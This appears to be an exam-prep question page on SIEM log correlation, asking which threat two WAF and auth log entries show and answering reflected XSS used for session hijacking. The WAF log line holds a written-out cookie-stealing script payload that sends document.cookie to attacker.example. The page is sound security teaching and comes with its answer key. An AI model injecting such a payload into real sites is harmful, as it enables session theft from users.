Examkin

Question

Difficulty: HardLog Analysis and SIEM Management

During an automated security incident evaluation, a threat monitoring system correlated two consecutive events originating from external host 198.51.100.44:

text
Event ID 8102 [WAF Log]: 198.51.100.44 - - [12/Jun/2026:14:22:01 +0000] "GET /profile?user=<script>document.location='http://attacker.example/steal?c='+document.cookie</script> HTTP/1.1" 200 4520
Event ID 8103 [Auth Log]: 198.51.100.44 - - [12/Jun/2026:14:22:05 +0000] "POST /api/v2/auth/session_adopt HTTP/1.1" 200 128 Cookie: session_id=e9a1b2c3

Based on the log entries above, which security threat vector is actively taking place, and what is its primary impact?

  1. Reflected Cross-Site Scripting (XSS) leveraged to achieve session hijacking through client-side cookie theft.Answer
  2. B
    SQL Injection (SQLi) executing arbitrary commands against backend relational database tables.
  3. C
    An authorization failure allowing an authenticated user to perform unauthorized privilege escalation.
  4. D
    A SIEM normalization error caused by mismatched timestamp parsing across separate log streams.

Answer

Reflected Cross-Site Scripting (XSS) leveraged to achieve session hijacking through client-side cookie theft.
The WAF log entry displays a explicit `<script>` tag containing `document.cookie` intended to forward cookie data to an external location, which is a classic Cross-Site Scripting (XSS) attack vector. The subsequent authentication log entry shows the same external host presenting a valid session cookie four seconds later, confirming that the attacker successfully hijacked the session.

Step-by-Step Solution

1
Analyze Event ID 8102 payload structure
Identified client-side JavaScript execution payload `<script>document.location='...'+document.cookie</script>` submitted via HTTP GET query string.
Characterizes Cross-Site Scripting (XSS) targeted at stealing session storage identifiers.
2
Analyze Event ID 8103 log details and correlate timestamps
Four seconds after the XSS attempt, the same remote IP address submits a POST request containing a session Cookie header.
Confirms successful session hijacking following cookie exfiltration.
3
Evaluate overall threat vector
Determined that XSS was used as the vector to commit session hijacking.
Combines log evidence from both WAF and authentication log lines into a unified incident narrative.

Key Concept

Correlating multi-source logs in SIEM to detect XSS and session hijacking attack patterns
Rate this question

Topics

Log Analysis and SIEM Management

More questions from this topic